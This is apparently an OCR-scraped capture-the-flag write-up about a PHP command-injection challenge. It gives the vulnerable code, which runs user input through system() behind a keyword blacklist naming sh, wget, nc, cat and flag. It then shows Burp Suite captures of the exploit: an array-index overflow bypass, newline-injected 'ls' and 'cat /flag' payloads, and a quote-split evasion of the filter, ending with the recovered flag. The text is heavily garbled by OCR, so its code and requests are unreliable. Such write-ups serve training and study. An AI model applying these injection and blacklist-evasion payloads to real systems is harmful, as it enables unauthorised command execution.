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<?php
//php5.5.9
$stuff = § POST["stuff"];
$array = ['admin', 'user'];
if ($stuff === Sarray && $stuff[0] != 'admin') {
Snum= § POST["num"];
if (preg_match ("/"*\d+5/im", $num)) {
if (!preg match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo\*[\*[\T[\\AN[TIN"IN]/1i", $num) ) {
echo "my favorite num is:";
system("echo ".$num) ;
telse{
echo 'Bonjour!';
}
}
} else {
highlight file( FILE );
}
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$OST ["stuff"];

Sarray = ['admin', 'user'];
if ($stuff === Sarray && $stuff[0] != "adm
snum= $ POST["num"];
if (preg match("/"\d+$/im", Snum) ) {
if (!preg_match{"/shlwgetlncIpythi
echo "my favorite num is:";

= el

system("echo ".S$numyt@/\5 12
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my favorite num 1s:1
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Encryption ~ Encoding~ SQL ~ XSS~ Other ~

& Load URL http://111.200.241.244:50050/?num=
% Split URL

»  Execute

Postdata [] Referer [] User Agent [] Cookies Clear All

stuff[4294967296]=admin&stuff|1]=user&num=1
CSDN @)\ E} 1~ 2 {4

A UEBIRIREEAE T, RATETIMEESERE



Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST fPnum=1 HTTP/1 1

e

HTTR/.1 200 OK
Host: 111.200.241.244:50050 Server. nginx/1.4.6 (Ubuntu)

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; nv:94.0) Geckof20100101 Firefox/94.0 Date: Fri, 19 Nov 2021 11:23:09 GMT

Accept: text/html application/xhtrl+xml,application/xml;g=0.9 image/avif,image/webp */* q=0.8 Content-Type: text/html
Accept-Language: zh-CM,zh;q=0.8,zh-TW;gq=0.7 zh-HIK;q=0.5 en-US;q=0.3 ,en;q=0.2 Connection: close

Content-Type: application/x-www-form-urlencoded *-Powered-By: PHP/S.5.9-1ubuntud. 29

Content-Length: 58 Content-Length: 111

Origin: http://111.200.241.244:50050

Connection: close my favorite num is:1

Referer: http://111.200.241.244:50050/?num= bin
Upgrade-Insecure-Requests: 1 boot

stuff%5B84294967296%5D=admin&stuff%5E1 %50=user&num=1%0als fl etc
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‘ Target | Proxy ‘ Spider | Scanner | Intruder | Repeater ‘ Sequencer | Decoder ‘ Comparer | Extender | Project options | User options | Alerts ‘
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Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

Target: http://1

POST f2num=1 HTTP/1.1 A HTTR/1.1 200 OK

Host: 111.200.241.244:50050 1 Server: nginx/1.4.6 (Ubuntu)
User-Agent: Mozilla/s.0 (Windows NT 10.0; WinG4; x64; nv:94.0) Gecko/20100101 Firefox/94.0 Date: Fri, 19 Nov 2021 11:24:20 GMT
Accept: text/html, application/xhtml+xml application/xml,q=0.9 image/avif imagefwebp ** q=0.8 Content-Type: text/htrml
Accept-Language: zh-CN,zh;q=0.8,zh-TW,q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2 Connection’ close

Content-Type: application/x-www-form-urlencoded ¥-Powered-By: PHP/S.5.9-Tubuntud.23
Content-Length: 63 Content-Length: 8

Origin: http://111.200.241.244:50050

Connection: close Bonjour!

Referer: http://111.200.241.244:50050/?num=
Upgrade-Insecure-Requests: 1

stuff%5B4294967 236 %50=admin&stuff%SB1 %5D=user&num=1%0acat /flag
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ITarget I Pro l Spider I Scanner [ Intruder I Repeater ] Sequencer [ Decoder I Comparer I Extender ] Project options [ User options [Aler‘ts l
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Target: httpz

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /2num=1 HTTR/1.1

A HTTR/1.1 200 OK
Host: 111.200.241.244:50050 r Semver: nginx/1.4.6 (Ubuntu)
User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64; n94.0) Gecko/20100101 Firefox/94.0 Date: Fri, 19 Nov 2021 11:24:01 GMT
Accept: text/html application/xhtml+xml application/xml;q=0.9 image/avifimage/webp *f*;g=0.8 Content-Type: text/htm!
Accept-Language: zh-CN,zh;q=0.8 zh-TW;q=0.7 zh-HK;g=0.5 ,en-US;q=0.3 en;q=0.2 Connection: close
Content-Type: application/x-www-form-urlencoded ¥-Powered-By: PHP/5.5.9-1ubuntud 23
Content-Length: 67 Content-Length: 66
Origin: http://111.200.241.244:50050
Connection: close my favorite num is:1
Referer: http://111.200.241.244:50050/?num= cyberpeace{4fdd68h6dd9 1fcd0a176bfb61b848a07}

Upgrade-Insecure-Requests: 1

stuff?e5B4294967 296 %5D=admin&stuff%SB1%50=user&num=1%0aca"'t ffla”’g
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